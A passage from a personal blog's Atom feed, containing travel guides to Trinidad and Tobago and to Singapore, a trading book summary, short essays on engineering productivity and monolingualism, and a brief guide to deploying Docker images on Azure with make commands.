         alt="Tobago Day cruise" width="905"/> </a>
</figure>

<p>The first stop is Buccoo Reef.
Do note that due to COVID-19, the boat no longer provides snorkel masks and one is expected to carry one&rsquo;s own!</p>
<figure>
    
    <a href="tobago-glass-bottom-boat-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tobago-glass-bottom-boat-768x1024.jpg"
         alt="A glass-bottom boat is docked near clear waters, with a sign informing visitors to bring their own snorkel masks due to COVID-19 precautions." width="900"/> </a>
</figure>

<p>The second stop is Nylon Pool.</p>
<figure>
    
    <a href="tobago-nylon-pool-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tobago-nylon-pool-1024x768.jpg"
         alt="A glass-bottom boat floats on clear water in Tobago&#39;s Nylon Pool, a popular tourist destination known for its shallow, tranquil sea." width="905"/> </a>
</figure>

<p>And the final stop is No Man&rsquo;s Land. While they do have food to buy here, there wasn&rsquo;t much in terms of vegetarian options.</p>
<figure>
    
    <a href="tobago-no-mans-land-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tobago-no-mans-land-1024x768.jpg"
         alt="No Man&#39;s Land, Tobago" width="905"/> </a>
</figure>

<p>After the cruise, I took a 2 TTD bus from Crowne Point to Scarborough and then a 12 TTD shared taxi to Argyle Waterfalls.
The falls close at 5 PM. And I reached the entrance at around 4:20 PM.
It takes ~15 mins to walk to the falls.
But it is worth it.
Do note that there is a 60 TTD entrance fee for this waterfall.
This waterfall is the most accessible of all the waterfalls that I visited.</p>
<figure>
    
    <a href="argyle-falls-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="argyle-falls-1-768x1024.jpg"
         alt="A waterfall cascading down rocks surrounded by lush green vegetation, described as the most accessible among visited waterfalls." width="900"/> </a>
</figure>

<figure>
    
    <a href="argyle-falls-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="argyle-falls-2-768x1024.jpg"
         alt="A scenic waterfall cascades down a lush, green rock face into a tranquil pool, surrounded by dense vegetation" width="900"/> </a>
</figure>

<h3 id="day-5---highland-falls">Day 5 - Highland Falls</h3>
<p>I started the day with Highland Waterfalls.
To get there take a 10 TTD shared taxi from Crowne Point to Scarborough and then an 8 TTD shared taxi to Les Coatue Health center.
Highland Waterfalls is a tricky hike. One has to just walk upstream along the river.
I would recommend downloading offline directions with the   
    
    
<a href="https://maps.me/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Maps.me</a> app in advance.</p>
<figure>
    
    <a href="highland-falls-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="highland-falls-768x1024.jpg"
         alt="A picturesque waterfall cascades over rocky terrain surrounded by lush greenery in a serene natural setting." width="900"/> </a>
</figure>

<p>Afterward, I visited Pigeon Point Beach. It is a gorgeous beach with several water sports activities.</p>
<figure>
    
    <a href="pigeon-point-beach-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="pigeon-point-beach-1024x768.jpg"
         alt="A beautiful beach with palm trees and clear blue water, Pigeon Point Beach offers various water sports activities, providing a picturesque setting for relaxation and adventure." width="905"/> </a>
</figure>

<h3 id="food-to-try">Food to try</h3>
<p>As a vegetarian, I don&rsquo;t get enough distinct food choices that I would make this section for every country that I visit.
However, Trinidad and Tobago is one of those places that indeed has a great set of local vegetarian food options.</p>
<ol>
<li>
<p>Double - For 6 TTD, one can try Trini&rsquo;s variation on Indian Chana-bhatura called &ldquo;double&rdquo;.
This is usually only available during breakfast hours.</p>
<figure>
       
       <a href="trinidad-doubles-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="trinidad-doubles-1024x768.jpg"
            alt="A plate holds an Indian Chana-bhatura, also known as &#39;double,&#39; typically served during breakfast hours. This dish consists of spiced chickpeas and fried flatbread." width="905"/> </a>
   </figure>

</li>
<li>
<p>Aloo Pie (Potato pie) - Another Indian cuisine-inspired dish that&rsquo;s a staple of Trinidad food</p>
</li>
<li>
<p>Snow cones - Try snow cones for 10 TTD</p>
<figure>
       
       <a href="snow-cone-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="snow-cone-768x1024.jpg"
            alt="Snow cone" width="900"/> </a>
   </figure>

</li>
<li>
<p>Angostura Bitters drink</p>
<figure>
       
       <a href="Angostura-bitters-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="Angostura-bitters-768x1024.jpg"
            alt="Angostura Bitters" width="900"/> </a>
   </figure>

</li>
<li>
<p>Sorrel drink</p>
<figure>
       
       <a href="sorrel-drink-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="sorrel-drink-768x1024.jpg"
            alt="A bottle of Angostura bitters is displayed, highlighting its usage in beverages, alongside an image of a glass containing sorrel drink." width="900"/> </a>
   </figure>

</li>
</ol>
<h3 id="things-i-didnt-do">Things I didn&rsquo;t do</h3>
<ol>
<li>  
    
    
<a href="https://www.greenmarketsantacruz.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Santa Cruz Food market</a> - this is open only on Sunday mornings, 7 AM-noon.</li>
<li>  
    
    
<a href="https://www.alltrails.com/trail/trinidad-tobago/san-juan-laventille/rincon-falls-and-black-pool?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rincon Pool</a> - It is 1.5 hours to 2 hours one-way hike. I ended up prioritizing other pools over this one.</li>
<li>  
    
    
<a href="https://www.dewayneberkeley.com/2017/09/04/bunsee-trace-mud-volcano-beach/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mud Volcano</a> - It seems to require a full-day commitment to getting to.</li>
<li>  
    
    
<a href="https://www.destinationtnt.com/gasparee-caves/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Gasparee Caves</a> - I have seen some of the best caves in 
<a href="/travel/belize/">Belize</a> and 
<a href="/travel/puerto-rico/">Puerto Rico</a>, so, this was not high on my priority list.</li>
</ol>
<p>Note:</p>
<ol>
<li>One can get from the airport to the city of Port of Spain via an hourly bus that costs 4 TTD. It takes you to the South Quay stop in the city that&rsquo;s still a bit far from the more fancy Queen&rsquo;s Park area, and you can use TTRideShare/Taxi for the last leg of the journey. The bus does not run on the weekend, and one has to use MaxiTaxis at that time. The MaxiTaxi requires one change and would cost about 8+10 TTD.</li>
<li>Use Republic Bank&rsquo;s ATM for fee-free transactions.</li>
<li>Do not trust 
<a href="/travel/public-transport-guide/">public bus</a>   
    
    
<a href="https://ptsc.co.tt/routes-and-schedules/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">schedules</a>. Even the schedules listed here are not guaranteed to be active!</li>
<li>Trinidad and Tobago is a great place for vegetarians to travel to. Due to the strong East Indian influence, there are amazing vegetarian food choices available at the corner of every street. Try Aloo Pie and Double.</li>
<li>If you are driving then don&rsquo;t go directly from Arima to Blanchisseuse as the road is terrible. Take the longer but safer route that gives via Port of Spain and Maravel.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/><category scheme="https://ashishb.net/tag/trinidad-and-tobago" term="trinidad-and-tobago" label="trinidad-and-tobago"/></entry><entry><title type="html">Book Summary: What I learned losing a million dollars by Jim Paul</title><link href="https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/the-half-life-of-facts/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The half-life of Facts by Samuel Arbesman"/><link href="https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The New Confessions of an Economic Hit Man"/><link href="https://ashishb.net/book-summary/the-mom-test/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Mom Test by Rob Fitzpatrick"/><id>https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/</id><author><name>Ashish Bhatia</name></author><published>2023-09-23T16:00:13+00:00</published><updated>2023-09-23T16:00:13+00:00</updated><content type="html"><![CDATA[<blockquote>Discover key lessons from &ldquo;What I Learned Losing a Million Dollars&rdquo; about trading, probability, and overcoming loss. Master market strategies and avoid groupthink.</blockquote><p>&quot;   
    
    
<a href="https://amzn.to/46TYZAh?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">What I learned losing a million dollars</a>&quot; covers the iconic rise and fall of Jim Paul in the Chicago Mercantile Exchange as a trader.</p>
<p>Here are the key takeaways from the book</p>
<ol>
<li>Probability is not the same as statistics</li>
<li>&ldquo;Being right&rdquo; and &ldquo;doing right&rdquo; is not the same thing. Try to &ldquo;do right&rdquo; rather than being seen as &ldquo;being right&rdquo;.</li>
<li>Go long because you are bullish. Don&rsquo;t become bullish because you are long.</li>
<li>The crowd does not eat. The crowd does not drink. The crowd does not eat either. There is no such thing as groupthink.</li>
<li>Gambling is for entertainment. Money is a way for facilitating that. There is nothing wrong with gambling as long as it is not compulsive.</li>
<li>A better bet on the market direction to make money. A better one is not looking for entertainment.</li>
<li>A trader does not care about the market direction. A trader&rsquo;s goal is to make money from the bid-ask spread.</li>
<li>Dealing with grief - Denial -&gt; anger -&gt; bargaining -&gt; depression -&gt; acceptance</li>
<li>Losses can be dealt with as long as they are not unexpected.</li>
<li>Anytime there are more than 10 members in a committee, the real work happens somewhere in a sub-committee. The 10+ member committee is just a facade.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Real vs Theoretical Engineering Productivity</title><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="related" type="text/html" title="Too much documentation is harmful"/><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering stack"/><link href="https://ashishb.net/tech/engineering-guardrails/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering Guardrails"/><id>https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/</id><author><name>Ashish Bhatia</name></author><published>2023-09-16T16:00:56+00:00</published><updated>2023-09-16T16:00:56+00:00</updated><content type="html"><![CDATA[<blockquote>Boost engineering productivity with effective tools like code linters and IDEs, while avoiding distractions like multiple monitors. Balance real and theoretical gains.</blockquote><p>Some engineering productivity is real. Some are theoretical.</p>
<p>Having good code linters has a real engineering productivity impact.</p>
<p>Having a faster mechanical keyboard gives more theoretical gains.</p>
<p>Using a good IDE has a real engineering productivity impact.</p>
<p>Choosing an interpreted language with no guardrails gives faster short-term motion while slowing down the progress in the longer run.</p>
<p>Ligature fonts like Fira code improve code readability.</p>
<p>Multiple monitors, unless you are a day trader, are more of a distraction.</p>
<p>Good tooling gives a lot of real gains but the benefits start to cap out soon.</p>
<p>Eventually, software engineering at its core a job that involves thinking and the ability to convert that thinking into meaningful code that a machine will understand.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Monolingualism</title><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><link href="https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="related" type="text/html" title="Spanish Pronunciations for Hindi speakers"/><link href="https://ashishb.net/linguistics/indian-accent/?utm_source=atom_feed" rel="related" type="text/html" title="Indian accent"/><link href="https://ashishb.net/linguistics/sound-of-v/?utm_source=atom_feed" rel="related" type="text/html" title='Hindi: The missing "v" sound'/><id>https://ashishb.net/linguistics/monolingualism/</id><author><name>Ashish Bhatia</name></author><published>2023-09-09T16:00:02+00:00</published><updated>2023-09-09T16:00:02+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the evolution of multilingual societies through history and discover why modern-day United States stands unique in its monolingual roots.</blockquote><p>While touring Eastern 
<a href="/tag/europe/">Europe</a>, I had just landed in the 
<a href="/travel/prague-czech-republic/">Czech Republic</a>.
I was taking a bus from Prague airport to the city.
The man sitting next to me was dressed in formal.</p>
<p>He was here to attend a meeting of the ESA, European Space Agency.</p>
<p>I asked, &ldquo;What language is the meeting in?&rdquo;.</p>
<p>&ldquo;English&rdquo;, he replied, nonchalantly.</p>
<p>Modern-day United States is weirdly mono-lingual.</p>
<p>The language of education is English.</p>
<p>The language of official work is English.</p>
<p>The language of business is English.</p>
<p>This wasn&rsquo;t always the case.</p>
<p>In the 19th-century United States.</p>
<p>The language of education was Latin.</p>
<p>The language of official work was English.</p>
<p>The language of business varied between English, German, French, and Spanish.</p>
<p>In the 18th century United Kingdom.</p>
<p>The language of education was Latin and Greek.</p>
<p>The language of official work was French.</p>
<p>The language of business was English.</p>
<p>In modern-day Canada.</p>
<p>The language of education is French or English.</p>
<p>The language of official work is French and English.</p>
<p>The language of business is French(25%) and English(75%).</p>
<p>Even life 2000 years ago required multilingualism.</p>
<p>In ancient Rome.</p>
<p>The language of education was Latin &amp; Greek.</p>
<p>The language of official work was Latin.</p>
<p>The language of business varied from region to region.</p>
<p>In ancient India.</p>
<p>The language of education was Sanskrit.</p>
<p>The language of official work was Sanskrit + a local language.</p>
<p>The language of business, especially long-distance, was Prakrit.</p>
<p>Modern-day 
<a href="/tag/this-american-life/">United States</a> is weirdly mono-lingual.</p>
<p>One can speak just one language and go about almost any aspect of his/her life.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/><category scheme="https://ashishb.net/tag/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">How to deploy Docker images on Microsoft Azure</title><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/programming/hermetic-docker-images-with-hugging-face-machine-learning-models/?utm_source=atom_feed" rel="related" type="text/html" title="Hermetic docker images with Hugging Face machine learning models"/><link href="https://ashishb.net/programming/using-python-poetry-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; Poetry inside Docker"/><id>https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/</id><author><name>Ashish Bhatia</name></author><published>2023-09-02T16:00:08+00:00</published><updated>2023-09-02T16:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Deploy Docker images on Microsoft Azure easily with Azure App Service. Discover simple steps using a Makefile and streamline your deployment process.</blockquote><p>There are several ways to deploy 
<a href="/tech/docker-101-a-basic-web-server-displaying-hello-world/">Docker images</a> on Microsoft Azure.
My favorite one is   
    
    
<a href="https://azure.microsoft.com/en-us/products/app-service/containers?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Azure App Service/Web Application for Containers</a>.
This is the closest to 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">Google Cloud Run</a>.</p>
<p>Start from my   
    
    
<a href="https://github.com/ashishb/golang-template-repo/blob/master/Makefile_azure?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Makefile for Azure</a>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Every few hours</span>
</span></span><span style="display:flex;"><span>$ make one_time_setup
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Deploy to Azure Web Apps (AWA)</span>
</span></span><span style="display:flex;"><span>$ make docker_awa_deploy
</span></span><span style="display:flex;"><span><span style="color:#586e75"># You can see the logs from the deployment via</span>
</span></span><span style="display:flex;"><span>$ docker_awa_stream_logs</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Note:</p>
<ol>
<li>Microsoft Azure, in general, is less reliable than AWS or Google Cloud.</li>
<li>On Microsoft&rsquo;s Azure, sometimes, changes take minutes to propagate! And the stale UI entries are common as well.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/></entry><entry><title type="html">Singapore in 4 days</title><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><link href="https://ashishb.net/book-summary/one-mans-view-of-the-world/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One Man's View of the World by Lee Kuan Yew"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><id>https://ashishb.net/travel/singapore/</id><author><name>Ashish Bhatia</name></author><published>2023-09-02T06:20:18+00:00</published><updated>2023-09-02T06:20:18+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate travel guide to Singapore in 4 days. Explore the best attractions, temples, and natural beauty of this vibrant city-state.</blockquote><p>Singapore is a small country on the southern tip of the Malaysian peninsula.
Thanks to its visionary 
<a href="/book-summary/book-summary-one-mans-view-of-the-world-by-lee-kuan-yew/">leader</a>,
Singapore is one of the most prosperous countries in the world.
Once you get passed the heat and humidity, it is a wonderful place to visit.
I had a short stay in Singapore while taking a 
<a href="/travel/royal-caribbean-cruise-in-singapore/">Royal Caribbean cruise</a>.
Here&rsquo;s my recommendation on what to see in Singapore.</p>
<h3 id="day-1---jewel-and-sentosa-island">Day 1 - Jewel and Sentosa Island</h3>
<p>Start with the Jewel Airport area. It is gorgeous with an artificial waterfall and a full-fledged shopping mall.</p>
<figure>
    
    <a href="jewel-changi-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="jewel-changi-768x1024.jpg"
         alt="An indoor waterfall cascades through a lush, garden-like structure inside a shopping mall at Jewel Changi Airport area." width="900"/> </a>
</figure>

<p>Then visit the biggest mall in Singapore,   
    
    
<a href="https://www.vivocity.com.sg/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">VivoCity</a>, which is located right on a metro station.
From here, one can walk over to Santosa Island.</p>
<figure>
    
    <a href="vivo-city-mall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vivo-city-mall-768x1024.jpg"
         alt="A shopping mall with a modern architectural design, located near a metro station, serves as a gateway for visitors walking to Sentosa Island." width="900"/> </a>
</figure>

<p>The walk to   
    
    
<a href="https://www.sentosa.com.sg/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sentosa Adventure Island</a> is fun.
However, if you don&rsquo;t want to walk, you can as well take a (free) bus ride to/from Santosa.
The word Sentosa comes from the Sanskrit word Saṃtoṣa/संतोष meaning peace and tranquility.</p>
<figure>
    
    <a href="sentosa-universal-studios-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sentosa-universal-studios-1024x768.jpg"
         alt="Universal Studios in Sentosa, featuring emblematic attractions and rides, evoking themes of peace and tranquility from its Sanskrit namesake." width="900"/> </a>
</figure>

<h3 id="day-2---buddhist-and-hindu-temples">Day 2 - Buddhist and Hindu Temples</h3>
<p>We start the day with   
    
    
<a href="https://smt.org.sg/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sri Mariamman Temple</a>, one of the oldest Hindu temples in Singapore.
It was, unfortunately, under renovation at that time.</p>
<figure>
    
    <a href="sri-mariamman-temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sri-mariamman-temple-1024x768.jpg"
         alt="A Hindu temple in Singapore is under renovation. The exterior features intricate carvings and scaffolding, indicating ongoing construction" width="900"/> </a>
</figure>

<p>Then we visited the Buddha Tooth Relic Temple.
This temple claims to hold Siddhartha Guatam&rsquo;s tooth in a 350 KG gold-covered area!
This temple has multiple floors, including a rooftop garden,
a museum dedicated to Siddharta Gautam, and a very affordable vegetarian food hall (meal for 3 SGD!) in the basement.
I would highly recommend dedicating at least 3-4 hours to this.</p>
<figure>
    
    <a href="buddha-relic-temple-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="buddha-relic-temple-1-1024x768.jpg"
         alt="Buddha Tooth Relic Temple" width="900"/> </a>
</figure>

<figure>
    
    <a href="buddha-relic-temple-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="buddha-relic-temple-2-768x1024.jpg"
         alt="Buddha Tooth Relic Temple" width="900"/> </a>
</figure>

<figure>
    
    <a href="buddha-relic-temple-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="buddha-relic-temple-3-768x1024.jpg"
         alt="Buddha Tooth Relic Temple" width="900"/> </a>
</figure>

<p>Then, we visited Sri Krishna Temple in the afternoon.
It was a bit surprising to see how many Chinese Singaporeans visit and worship the Hanuman deity outside the temple.</p>
<figure>
    
    <a href="sri-krishnan-temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sri-krishnan-temple-1024x768.jpg"
         alt="A temple with a colorful facade, featuring intricate sculptures and figures, seen from the street level, with a focus on cultural and religious architecture." width="900"/> </a>
</figure>

<h3 id="day-3---city-tourism">Day 3 - City Tourism</h3>
<p>We started the day with the old Hill Street Police Station.
There isn&rsquo;t much to visit here, and you get a better view of it from the upper deck of a double-decker bus than from visiting it.
Further, the inside of the building is closed to visitors, so, I would recommend skipping this.</p>
<figure>
    
    <a href="old-hill-street-police-station-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="old-hill-street-police-station-1024x768.jpg"
         alt="Old Hill Street Police Station, an old building with multiple colorful window shutters" width="900"/> </a>
</figure>

<p>Then we visited Fort Canning Hill.
The hill was the residence of the king of   
    
    
<a href="https://en.wikipedia.org/wiki/Kingdom_of_Singapura?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Singapura/सिंहपुर</a> in the 14th century.
And was further used by the British in the 18th century.
There are several small places to visit on this hill.
All of them are completely free to visit.</p>
<figure>
    
    <a href="fort-canning-watch-tower-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="fort-canning-watch-tower-768x1024.jpg"
         alt="A tall, ornate white watch tower stands prominently on a hill, surrounded by lush greenery, evoking historical significance" width="900"/> </a>
</figure>

<p>At Fort Canning Centre, one can see a museum dedicated to the history of Singapore.</p>
<figure>
    
    <a href="fort-canning-centre-pic-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="fort-canning-centre-pic-1024x768.jpg"
         alt="A museum at Fort Canning Centre highlights Singapore&#39;s history, while the Spice Garden showcases diverse spices historically traded by Singapore." width="900"/> </a>
</figure>

<p>At Spice Garden, one can see various spices that Singapore traded in.</p>
<figure>
    
    <a href="fort-canning-spice-garden-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="fort-canning-spice-garden-1024x768.jpg"
         alt="A lush green garden features diverse spice plants in Singapore&#39;s Spice Garden, part of Fort Canning Park, highlighting the city&#39;s historical trade in spices." width="900"/> </a>
</figure>

<figure>
    
    <a href="fort-canning-park-tree-tunnel-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="fort-canning-park-tree-tunnel-1024x768.jpg"
         alt="An outdoor path lined with lush, dense green trees, creating a natural tunnel effect in Fort Canning Park." width="900"/> </a>
</figure>

<p>In the evening, we visited Merlion (mermaid + lion), the official mascot of Singapore.</p>
<figure>
    
    <a href="singapore-merlion-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-merlion-768x1024.jpg"
         alt="Singapore&#39;s Merlion statue, the official mascot combining a mermaid and lion, captured in an evening setting." width="900"/> </a>
</figure>

<p>Followed by a trip to Henderson Waves pedestrian bridge. It is a nice walking area from where one can visit Faber Point to get great views of the city skyline.</p>
<figure>
    
    <a href="henderson-waves-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="henderson-waves-768x1024.jpg"
         alt="A wooden pedestrian bridge with a wavy design, surrounded by trees and urban landscape views." width="900"/> </a>
</figure>

<figure>
    
    <a href="singapore-skyline-from-faber-point-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
